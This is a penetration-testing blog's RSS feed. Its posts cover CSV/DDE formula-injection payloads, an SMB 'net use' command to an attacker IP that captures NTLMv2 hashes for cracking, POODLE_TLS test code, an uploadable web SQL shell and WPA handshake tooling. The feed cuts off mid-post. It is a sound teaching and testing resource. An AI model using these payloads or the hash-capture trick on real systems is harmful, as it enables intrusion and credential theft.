<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Explore Security &#187; Tools</title>
	<atom:link href="https://www.exploresecurity.com/category/tools/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.exploresecurity.com</link>
	<description>IT security tools, techniques and commentary</description>
	<lastBuildDate>Wed, 15 Jun 2022 09:21:02 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.6.1</generator>
		<item>
		<title>Are you oversharing (in Salesforce)?</title>
		<link>https://www.exploresecurity.com/are-you-oversharing-in-salesforce/</link>
		<comments>https://www.exploresecurity.com/are-you-oversharing-in-salesforce/#comments</comments>
		<pubDate>Mon, 28 Jun 2021 11:42:18 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Salesforce]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=468</guid>
		<description><![CDATA[Unauthorised access to data is a primary concern of clients who commission a Salesforce assessment. The Salesforce documentation acknowledges that the sharing model is a &#8220;complex relationship between role hierarchies, user permissions, sharing rules, and exceptions for certain situations&#8221;. It is often said that complexity and security are natural enemies. Salesforce empowers its users with [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Unauthorised access to data is a primary concern of clients who commission a Salesforce assessment. The Salesforce documentation acknowledges that the sharing model is a &#8220;complex relationship between role hierarchies, user permissions, sharing rules, and exceptions for certain situations&#8221;. It is often said that complexity and security are natural enemies. Salesforce empowers its users with a multifaceted sharing framework in order to cover a wide variety of business use cases. But with great power comes great responsibility. This <a href="https://research.nccgroup.com/2021/06/28/are-you-oversharing-in-salesforce/">blog post</a> over on the NCC Group research site discusses the topic of misconfigured sharing, and announces the release of a new open-source tool <a href="https://www.github.com/nccgroup/raccoon">Raccoon</a> to help identify such misconfigurations, which could otherwise expose sensitive data.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/are-you-oversharing-in-salesforce/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Salesforce Policy Deviation Checker</title>
		<link>https://www.exploresecurity.com/salesforce-policy-deviation-checker/</link>
		<comments>https://www.exploresecurity.com/salesforce-policy-deviation-checker/#comments</comments>
		<pubDate>Tue, 29 Sep 2020 12:18:25 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Salesforce]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=478</guid>
		<description><![CDATA[SFPolDevChk is a quick tool to show which Profiles in a Salesforce instance have become desynced from an Organization in terms of password and session policies, with any deviations highlighted. Published as an NCC Group open source project.]]></description>
				<content:encoded><![CDATA[<p>SFPolDevChk is a quick tool to show which Profiles in a Salesforce instance have become desynced from an Organization in terms of password and session policies, with any deviations highlighted. Published as an NCC Group open source <a href="https://github.com/nccgroup/SFPolDevChk">project</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/salesforce-policy-deviation-checker/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From CSV to CMD to qwerty</title>
		<link>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/</link>
		<comments>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/#comments</comments>
		<pubDate>Tue, 19 Apr 2016 22:53:41 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Passwords]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[CSV]]></category>
		<category><![CDATA[DDE]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[XLS]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=415</guid>
		<description><![CDATA[The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing NCC Con held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>The ongoing breach stories of targeted email campaigns harbouring malicious attachments made me think of writing up a summary of a presentation I gave at the amazing <a href="https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/january/ncc-con-europe-2016/">NCC Con</a> held in Dublin in January this year. The talk was based on a pentesting war story that started off exploiting the old (but I believe often overlooked) Dynamic Data Exchange (DDE) trick to go from an Excel export function in a web app to OS code running on users&#8217; workstations. From there, the story takes us on to domain creds via some NTLMv2 theory (without a pentest laptop), a bug in hashcat and a new script &#8220;catflap&#8221;.<span id="more-415"></span></p>
<p>[EDIT - for more of the <em>CSV</em> and <em>CMD</em> and less of the <em>qwerty</em>, take a look at this <a href="http://www.slideshare.net/exploresecurity/camsec-sept-2016-tricks-to-improve-web-app-excel-export-attacks">presentation</a> I did later in the year.]</p>
<h3>From CSV to CMD</h3>
<p>DDE is an old <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx">Microsoft technology</a> used to facilitate data transfer between applications, a form of Inter-Process Communication (IPC). The security risks in the context of web applications were, to my knowledge, first published <a href="http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/">here</a> by <a href="https://twitter.com/albinowax">James Kettle</a> (I would have sworn this technique was around before 2014 &#8211; how time flies).</p>
<p>A brief reminder then: imagine an export function in a web app, where some of the data in the cells comes from user input (so like persistent XSS it is stored and later reflected) e.g. consider an application that stores the following parameter value:</p>
<p><code><span style="font-size: 0.857143rem; line-height: 2;">=cmd|'/k ipconfig'!A0</span></code></p>
<p style="text-align: left;">On requesting an export, a CSV file is returned that includes this value in a field. When this file is opened, Excel knows that this DDE reference could be dangerous and issues a couple of warnings:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png"><img class="aligncenter  wp-image-417" alt="warning1" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning1.png" width="410" height="194" /></a><a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png"><img class="aligncenter size-full wp-image-416" alt="warning2" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/warning2.png" width="781" height="139" /></a>In this case, an eagle-eyed user might raise an eyebrow at CMD.EXE but, as the original article notes, if the user requested the Excel file and it came from a source they trust, why wouldn&#8217;t it be secure? And we know that users click through warnings anyway.</p>
<p style="text-align: left;">When <code>cmd /k ipconfig</code> runs, the /k persists the command window for a screenshot to use in the report <img src='https://www.exploresecurity.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png"><img class="aligncenter size-full wp-image-420" alt="cmd-ipconfig" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/cmd-ipconfig.png" width="1437" height="455" /></a>In fact, without that persistence, the command seems to run in a minimised window and then of course exits, which is rather nice for our attacker. I should say that export to CSV seems to be cleaner from the attacker&#8217;s perspective than export to XLS or XLSX, which often requires extra action by the user to activate the payload such as clicking into the malicious cell, which isn&#8217;t desirable. All of this behaviour is subject to the version of Excel running and its configuration.</p>
<h3>From CMD to qwerty</h3>
<p>The war story concerned an <em>internal</em> application that was vulnerable to the DDE trick, and so I started playing around with payloads that would be more exciting than <code>ipconfig</code> or <code>calc</code>. Here&#8217;s a simple one:</p>
<p><code>cmd /c net use \\&lt;attacker_IP&gt;\c$</code></p>
<p>In this case the &#8220;attacker_IP&#8221; belonged to a locked-down workstation (no pentest laptops allowed) &#8211; but it did, curiously enough, have Wireshark installed. So here was the &#8220;net use&#8221; connection from the &#8220;victim&#8221; (which was in fact a machine I was using and thus I knew the username and password):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png"><img class="aligncenter size-full wp-image-421" alt="net-use" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/net-use.png" width="1189" height="303" /></a>Bear in mind this was an internal test: if the victim was using a vulnerable internet-facing website, their ISP would likely <em>[cough]</em> block the outgoing SMB connection.</p>
<p>I was dealing with NTLMv2 here: a quick <a href="http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats">reminder</a> showed that I needed to pull out the following for John:</p>
<p><strong><code>username:$<span style="color: green;">NETNTLMv2</span>$domain$challenge$HMAC-MD5$blob</code><br />
</strong><br />
What&#8217;s in <span style="color: green;"><strong>green</strong></span> is known at this point (&#8220;NETNTLMv2&#8243; is a constant). I could immediately fill in the domain and username fields as they&#8217;re given away in cleartext by the NTLMv2 exchange, helpfully pulled out in the (obfuscated) Packet List above (and anonymised below):</p>
<p><strong><code><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$challenge$HMAC-MD5$blob<br />
</code></strong><br />
So what about the other bits? They all relate to the NTLM authentication, which is a challenge-handshake protocol:</p>
<p><b>1. Client &gt; Server (Type 1, negotiation)</b><br />
Features supported by the client and requested of the server<br />
<b>2. Server &gt; Client (Type 2, challenge)</b><br />
Features supported and agreed upon by the server + a challenge<br />
<b>3. Client &gt; Server (Type 3, authentication)</b><br />
More information about the client + response(s)</p>
<p>The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes <em>yada yada yada</em>); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the &#8220;blob&#8221; comes in. So that&#8217;s covered off the &#8220;challenge&#8221;, &#8220;HMAC-MD5&#8243; and &#8220;blob&#8221; that&#8217;s missing from the John hash I&#8217;m having to build up from scratch. (Remember, I had no tools, otherwise <a href="https://github.com/SpiderLabs/Responder">Responder</a> would have made this easy.) Here&#8217;s the challenge:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png"><img class="aligncenter size-full wp-image-422" alt="challenge" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/challenge.png" width="442" height="151" /></a>And here&#8217;s the HMAC-MD5 and blob (which is everything after the HMAC in the &#8220;NTLM Response tree&#8221;):<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png"><img class="aligncenter size-full wp-image-423" alt="HMAC-blob" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/HMAC-blob.png" width="663" height="261" /></a><span style="line-height: 1.71429; font-size: 1rem;">To get the blob, you can copy the NTLM Response bytes from within Wireshark and remove the first 16 bytes (which is the HMAC). The blob is likely to start 0&#215;01010000&#8230;So we now have:</span></p>
<p><code><strong><span style="color: green;">smithjer</span>:$<span style="color: green;">NETNTLMv2</span>$<span style="color: green;">domain</span>$<span style="color: green;">36edff8376e59e18</span>$<span style="color: green;">4f68b56e9ce788d010f58b4f049b5c7f</span>$<span style="color: green;">0101000000000000295779de01bbd001b6f955bf062e...</span></strong><br />
</code><br />
That&#8217;s the hard part done, right? Wrong.</p>
<h3>Let&#8217;s get cracking</h3>
<p>Here was John&#8217;s response (bear in mind I knew the password), and, after duly modifying the hash format, hashcat wasn&#8217;t happy either:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png"><img class="aligncenter size-full wp-image-424" alt="hash-no-crack" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-no-crack.png" width="718" height="284" /></a><span style="line-height: 1.71429; font-size: 1rem;">Note the &#8220;skipping line&#8221; error. Turns out hashcat has a bug, which (I later found out) oclhashcat doesn&#8217;t suffer from. I experimented with it and </span><a style="line-height: 1.71429; font-size: 1rem;" href="https://github.com/hashcat/hashcat/issues/3">reported</a><span style="line-height: 1.71429; font-size: 1rem;"> it &#8211; hashcat has problems when the blob length is over 224 bytes. For some reason, it&#8217;s not been assigned a &#8220;bug&#8221; label but a &#8220;new feature&#8221; label. Anyway, back to John: remember the format on the cheatsheet was:</span></p>
<p><strong><code>username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob</code></strong></p>
<p>Turns out the hashcat format worked a treat, i.e.</p>
<p><code><strong>username::domain:challenge:HMAC-MD5:blob</strong></code></p>
<p>To be fair to pentestmonkey, &#8220;this sheet was originally based on john-1.7.8-jumbo-5. Changes in supported hashes or hash formats since then may not be reflected on this page&#8221;, and I was using a later version. Anyway, all&#8217;s well that ends well:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png"><img class="aligncenter size-full wp-image-428" alt="hash-cracked-john" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/hash-cracked-john.png" width="919" height="116" /></a></p>
<h3>catflap</h3>
<p>In order to look into the bug I found, I wrote a script (which I called <a href="https://github.com/exploresecurity/catflap"><em>catflap</em></a>) that serves two purposes:</p>
<ol>
<li>It extracts what hashcat needs from the NTLMv2 exchange in a Wireshark capture file.</li>
<li><span style="line-height: 1.71429; font-size: 1rem;">It allows you to produce a more realistic test case to check your NTLMv2 cracker is working properly. For this catflap will accept a normal hash format from a file as well as a capture file. catflap will recalculate the NTLMv2 response based on a password you supply. This means all the other variables (username, domain, challenge and, crucially, the blob) in the resulting test hash are exactly the same as the ones in your captured exchange, but in this test case you know the password. In this way you can ensure your cracking tool is working correctly, and acts as a better test than the standard hash examples out there, useful though they are. Of course, you could also play about with other inputs, which is what I did with the blob find the bug.</span></li>
</ol>
<p>Usage is simply:</p>
<p><code>catflap &lt;capture_file | hashcat_file&gt; [password]</code></p>
<p>The following shows catflap changing the HMAC response to set the password to &#8220;password&#8221;:<a href="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png"><img class="aligncenter size-full wp-image-429" alt="catflap" src="http://www.exploresecurity.com/wp-content/uploads/2016/04/catflap.png" width="962" height="400" /></a>You can then run that edited hash through your cracker of choice to ensure it spits out &#8220;password&#8221;. If not, something&#8217;s gone wrong. You can find catflap on <a href="https://github.com/exploresecurity/catflap">github</a>.</p>
<h3>Input validation and sanitisation</h3>
<p>Whenever I find an Excel export function in a web app, most of the time the DDE trick works because the characters used to launch the payload aren&#8217;t the usual suspects. It&#8217;s not a well-known attack vector, even among pentesters (or at least it&#8217;s been forgotten) so it&#8217;s worth remembering to check for this.</p>
<p>What about remediation? The <a href="https://web.archive.org/web/20160324063226/http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/"><em>original</em></a> article on this stated that &#8220;the best defence strategy we are aware of is prefixing cells that start with &#8216;=&#8217; with an apostrophe&#8221;. Last month this topic came up in a company-wide discussion at <a href="https://www.nccgroup.trust/">work</a>, and my colleague <a href="https://twitter.com/bones_codes">Cara Marie</a> noted that &#8216;+&#8217; and &#8216;-&#8217; could be used to launch a command too. Turns out (thanks to Michael Roberts, another NCC bod) that this had been lurking around for while, for example <a href="https://hackerone.com/reports/72785">here</a>). Michael added that you can also use &#8216;@&#8217; in the format:</p>
<p><code>@SUM(cmd|'/c calc'!A0)</code></p>
<p>as well as surrounding the payload with quotes such as:</p>
<p><code>"=cmd|'/c calc'!A0"</code>.</p>
<p>Over this last month the original article has been updated twice to reflect the same findings (except for the use of quotes). So, as far as I know, two independent groups came up with new bypasses for the original recommendation. The point here, then, is that the blacklist approach by itself often fails (which shouldn&#8217;t be news to anyone who&#8217;s done a re-test). We need to perform validation based on a whitelist of characters and syntax wherever possible. For example, if a field is a phone number, there should be no need for characters such as &#8216;=&#8217; and &#8216;@&#8217;. Starting off with &#8216;+&#8217; is reasonable (prefixing an international dialling code) but after that we shouldn&#8217;t see any non-numeric characters. We can also restrict the length of that field too. With these restrictions in place, we don&#8217;t even need to implement (and maintain) a blacklist.</p>
<h3>Red teaming</h3>
<p>The story of this article was set around a web application that allowed export but the DDE trick is valuable to red teams trying to get malicious attachments through email. The reason for this is that a DDE payload isn&#8217;t a macro and files that use it are often able to fly through perimeter content checks that would stop files with macros.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Testing for POODLE_TLS Manually</title>
		<link>https://www.exploresecurity.com/testing-for-poodle_tls-manually/</link>
		<comments>https://www.exploresecurity.com/testing-for-poodle_tls-manually/#comments</comments>
		<pubDate>Fri, 13 Mar 2015 12:25:24 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[SSL/TLS]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[POODLE]]></category>
		<category><![CDATA[TLS]]></category>
		<category><![CDATA[tlslite]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=362</guid>
		<description><![CDATA[Testing for the original POODLE vulnerability was easy because it was an inherent problem with SSLv3, so if you find SSLv3 enabled then you&#8217;ve found POODLE (although other factors such as cipher suite preference have a role to play &#8211; see my previous post). Like Heartbleed, though, testing for POODLE over TLS is conceptually easy [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Testing for the original POODLE vulnerability was easy because it was an inherent problem with SSLv3, so if you find SSLv3 enabled then you&#8217;ve found POODLE (although other factors such as cipher suite preference have a role to play &#8211; see my previous <a title="Thoughts on Testing for POODLE" href="http://www.exploresecurity.com/thoughts-on-testing-for-poodle/">post</a>). Like Heartbleed, though, testing for POODLE <em>over TLS</em> is conceptually easy but it falls within a class of flaws that requires bespoke tools as an unpatched version of <code>openssl</code>, for example, won&#8217;t do what you want it to do. This article discusses how the Python <em>tlslite</em> library can be used to test for POODLE_TLS &#8211; and so much more.<span id="more-362"></span></p>
<h3>What is <em>tlslite</em>?</h3>
<p>From the <a href="https://github.com/trevp/tlslite">source</a> &#8220;TLS Lite is an open source python library that implements SSL and TLS&#8221;. I&#8217;d seen references to it in the original BEAST <a href="http://vnhacker.blogspot.co.uk/2011/09/beast.html">post</a> written by Thai Duong and an article on <a href="https://vivaldi.net/blogs/entry/what-is-tls-testing-tlsprober-net">TLS Prober</a> by Yngve Pettersen. This gave me some confidence that <em>tlslite</em> would be a good starting point. Obviously it&#8217;s not going to be fast but that doesn&#8217;t matter. With a SSL/TLS implementation in a high level language, it would be much easier to make the changes required for the sorts of tests I wanted to run, and I thought POODLE_TLS would be a good one to try first.</p>
<p>TLS Prober is in fact where I wanted to be heading. It works on a modified version of <em>tlslite</em> to test for various SSL/TLS bugs. However, the public source code hasn&#8217;t been updated since Yngve left Opera in 2013 and thus wouldn&#8217;t cover POODLE_TLS. While I could have added that capability, I decided to ignore TLS Prober (for now) and start afresh with the latest <em>tlslite</em> &#8211; mainly as it would be a good learning experience.</p>
<h3>How to test for POODLE_TLS</h3>
<p>I&#8217;m not going to re-hash theory that&#8217;s already <a href="https://www.imperialviolet.org/2014/10/14/poodle.html">covered</a> <a href="https://www.imperialviolet.org/2014/12/08/poodleagain.html">elsewhere</a>. Suffice to say that implementations of TLS that are faithful to the RFC shouldn&#8217;t be vulnerable to POODLE because the spec states what the contents of the padding bytes should be. Therefore, the way to test for POODLE_TLS is to ignore that rule and see if the connection is terminated by the server. This isn&#8217;t the same as performing a full attack but like all testing you have to compromise between accuracy and aggressiveness. I think this test is a good indication. After some rummaging through the source code and a bit of debugging, I found what I wanted.</p>
<h3>Changes to <em>tlslite</em></h3>
<p>It seemed a bit crazy to fork the <a href="https://github.com/trevp/tlslite">original project</a> as my changes were tiny. I also thought that working through the changes here may be helpful to anyone else who wants to do the same sort of thing.</p>
<p>So to begin with I needed to signal to <em>tlslite</em> that I wanted to send TLS messages with invalid padding. You get things going with <em>tlslite</em> through the <code>TLSConnection</code> class so I changed how that was instantiated. <code>TLSConnection</code> inherits from <code>TLSRecordLayer</code>, which is where the padding code lives, so that needed changing too. Within the &#8220;tlslite&#8221; folder I made the following changes (obviously line numbers will be version dependent so I&#8217;ve added the original code too; my version was 0.4.8):</p>
<p><strong>tlsconnection.py</strong><br />
Line 52 was:<br />
<code>def __init__(self, sock):</code><br />
Now:<br />
<code>def __init__(self, sock, check_poodle_tls=False):</code><br />
# now i can signal whether or not I want to perform the test<br />
# if you already have <em>tlslite</em>, you can change it safely because <code>check_poodle_tls</code> defaults to <code>False</code> so it&#8217;s backward-compatible with any existing code that makes use of <em>tlslite</em></p>
<p>Line 61 was:<br />
<code>TLSRecordLayer.__init__(self, sock)</code><br />
Now:<br />
<code>TLSRecordLayer.__init__(self, sock, check_poodle_tls)</code><br />
# I need to pass that signal on to the parent</p>
<p><strong>tlsrecordlayer.py</strong><br />
Line 102 was:<br />
<code>def __init__(self, sock):</code><br />
Now:<br />
<code>def __init__(self, sock, check_poodle_tls):</code></p>
<p>After line 103 <code>self.sock = sock</code> added new line:<br />
<code>self.check_poodle_tls = check_poodle_tls</code></p>
<p>After line 600 <code>paddingBytes = bytearray([paddingLength] * (paddingLength+1))</code> added new lines:<br />
<code>if self.check_poodle_tls == True:<br />
<span style="padding-left: 30px;">paddingBytes = bytearray(x ^ 42 for x in paddingBytes[0:-1])</span><br />
<span style="padding-left: 30px;">paddingBytes.append(paddingLength)</span></code><br />
# change all but the last of the padding bytes to be invalid (just XOR with 42, the answer to everything)<br />
# make the last byte of padding valid = the number of padding bytes</p>
<p>And that&#8217;s it! Remember, as it&#8217;s Python, that tabs are important and the new code needs to be properly aligned.</p>
<h3>POODLE_TLS test script</h3>
<p>I then created the test script (available <a href="https://github.com/exploresecurity/test_poodle_tls">here</a>), which attempts a normal TLS connection first before testing for POODLE using the invalid padding trick. Place the script within the modified <em>tlslite</em> and run it as <code>test_poodle_tls.py &lt;hostname&gt;</code>. Remember, it only tests for POODLE <em>over TLS, <u>not</u> SSLv3.</em></p>
<p>I&#8217;ve noticed that sometimes the normal connection fails and one of the reasons for this is that the server does not support any of the small number of cipher suites offered by <em>tlslite</em>. In this case no conclusion can be drawn &#8211; and the script catches that.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/testing-for-poodle_tls-manually/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Sophie &#8211; a web SQL shell</title>
		<link>https://www.exploresecurity.com/sophie-a-web-sql-shell/</link>
		<comments>https://www.exploresecurity.com/sophie-a-web-sql-shell/#comments</comments>
		<pubDate>Mon, 22 Apr 2013 15:46:15 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[Web Applications]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=38</guid>
		<description><![CDATA[Download v.0.2 If you can exploit a flaw to upload files to an executable directory in an IIS environment, there are plenty of web shells around (some of which may be trojaned but that&#8217;s another issue) to give you an interactive command prompt via your browser. If the application makes use of a MS-SQL database, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="/wp-content/uploads/custom/sophie.aspx">Download v.0.2</a></p>
<p>If you can exploit a flaw to upload files to an executable directory in an IIS environment, there are plenty of web shells around (some of which may be trojaned but that&#8217;s another issue) to give you an interactive command prompt via your browser. If the application makes use of a MS-SQL database, the same flaw can be used to upload Sophie, a &#8220;web SQL shell&#8221;, giving you access to the database via your browser as well:<span id="more-38"></span><span style="line-height: 1.714285714; font-size: 1rem;"><br />
</span></p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie0.png"><img class="alignnone size-full wp-image-45" alt="sophie0" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie0.png" width="902" height="697" /></a></p>
<p><span style="line-height: 1.714285714; font-size: 1rem;">As with SQL injection, the level of access will depend on how the application and database have been configured.</span></p>
<p><span style="line-height: 1.714285714; font-size: 1rem;">Sophie automatically parses the </span><code style="line-height: 1.714285714;">web.config</code><span style="line-height: 1.714285714; font-size: 1rem;"> file from the current application context for connection strings. In ASP.NET 1.0 and 1.1, connection strings were stored in the </span><code style="line-height: 1.714285714;">&lt;appSettings&gt;</code><span style="line-height: 1.714285714; font-size: 1rem;"> section. From ASP.NET 2.0, a specific </span><code style="line-height: 1.714285714;">&lt;connectionStrings&gt;</code><span style="line-height: 1.714285714; font-size: 1rem;"> section was made available for just this purpose. Nonetheless, it&#8217;s still possible (and you often see) connection strings stored in </span><code style="line-height: 1.714285714;">&lt;appSettings&gt;,</code><span style="line-height: 1.714285714; font-size: 1rem;"> therefore Sophie looks in both sections. What&#8217;s easy about the </span><code style="line-height: 1.714285714;">&lt;connectionStrings&gt;</code><span style="line-height: 1.714285714; font-size: 1rem;"> section is that, because it is precisely designed to hold connection strings, ASP.NET provides a convenient way to access them. In contrast, </span><code style="line-height: 1.714285714;">&lt;appSettings&gt;</code><span style="line-height: 1.714285714; font-size: 1rem;"> can contain all sorts of information so there aren&#8217;t any functions that distinguish connection strings from other settings. Sophie uses some good old-fashioned guesswork, enumerating all keys within </span><code style="line-height: 1.714285714;">&lt;appSettings&gt;</code><span style="line-height: 1.714285714; font-size: 1rem;"> and for each one looking at its name and value for keywords that suggest it is a connection string. This is obviously prone to false positives and false negatives. To account for the latter, Sophie has a button &#8220;Get All&#8221; that shows all </span><code style="line-height: 1.714285714;">&lt;appSettings&gt;</code><span style="line-height: 1.714285714; font-size: 1rem;"> keys for you to review (and if you spot a connection string that Sophie missed by default, please let me know):</span></p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie1.png"><img class="alignnone size-full wp-image-46" alt="sophie1" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie1.png" width="680" height="473" /></a></p>
<p>If you find nothing of interest and are now facing an overwhelming number of keys, you can always click &#8220;Revert&#8221;.</p>
<p>Having selected a connection string, you can click &#8220;Get Info&#8221; to collect some basic information about the level of access that the connection string provides:</p>
<p><a style="line-height: 1.714285714; font-size: 1rem;" href="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie2.png"><img class="alignnone size-full wp-image-47" style="border: 0px;" alt="sophie2" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie2.png" width="389" height="477" /></a></p>
<p>Or you can type some arbitrary SQL and click &#8220;Execute&#8221;:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie3.png"><img class="alignnone size-full wp-image-48" alt="sophie3" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/sophie3.png" width="637" height="423" /></a></p>
<p>The error handling (like the styling!) is, er, shall we say basic, but hopefully you will find Sophie a useful addition to your pentesting toolkit.</p>
<p><a href="/wp-content/uploads/custom/sophie.aspx">Download v.0.2</a></p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/sophie-a-web-sql-shell/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>William &#8211; WPA/WPA2 4-way handshake extraction script</title>
		<link>https://www.exploresecurity.com/william-wpawpa2-4-way-handshake-extraction-script/</link>
		<comments>https://www.exploresecurity.com/william-wpawpa2-4-way-handshake-extraction-script/#comments</comments>
		<pubDate>Tue, 16 Apr 2013 23:12:03 +0000</pubDate>
		<dc:creator>Jerome</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[Wireless]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[wpa]]></category>
		<category><![CDATA[wpa2]]></category>

		<guid isPermaLink="false">http://www.exploresecurity.com/?p=14</guid>
		<description><![CDATA[Download v.0.1 If you&#8217;ve ever tested Aircrack against a packet capture containing a handshake from a network whose WPA/WPA2 passphrase is known, you may have sometimes frowned at the &#8220;Passphrase not in dictionary&#8221; message. One possibility for this is noted on the (excellent) Aircrack website – http://www.aircrack-ng.org/doku.php?id=aircrack-ng#wpa_wpa2_handshake_analysis_fails. Essentially Aircrack hasn&#8217;t parsed the handshake from the [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="/wp-content/uploads/custom/william.sh">Download v.0.1</a></p>
<p>If you&#8217;ve ever tested Aircrack against a packet capture containing a handshake from a network whose WPA/WPA2 passphrase is known, you may have sometimes frowned at the &#8220;Passphrase not in dictionary&#8221; message. One possibility for this is noted on the (excellent) Aircrack website – <a title="http://www.aircrack-ng.org/doku.php?id=aircrack-ng#wpa_wpa2_handshake_analysis_fails" href="http://www.aircrack-ng.org/doku.php?id=aircrack-ng#wpa_wpa2_handshake_analysis_fails">http://www.aircrack-ng.org/doku.php?id=aircrack-ng#wpa_wpa2_handshake_analysis_fails</a>. Essentially Aircrack hasn&#8217;t parsed the handshake from the capture correctly because there is too much “noise”. If Aircrack picks packets from <em>different</em> 4-way handshake exchanges then the passphrase will not be found, even if it&#8217;s in the dictionary. A tool called &#8220;wpaclean&#8221; (which is included in Backtrack) tidies up four-way handshake captures but, in my experiments, it didn&#8217;t always work so I wrote an alternative clean-up script, called William, that gives you more control. <span id="more-14"></span>The usage is:</p>
<p><code>william.sh &lt;output_file&gt; &lt;input_file&gt; [&lt;input_file_2&gt;...] [&lt;mth_packet_2&gt; [&lt;nth_packet_1&gt;]] [-f | -a] [-A &lt;dict_file&gt;] [-d]</code></p>
<p><code>m mth second packet of 4-way handshake (default 1)<br />
n nth first packet of 4-way handshake that precedes the chosen second packet (default 1)<br />
-f seek first message from start of capture working forwards<br />
-a pair up ALL message 1s that precede the chosen message 2 (multiple output files)<br />
-A run aircrack-ng against output files using the supplied dictionary file<br />
-d don't skip duplicate packets<br />
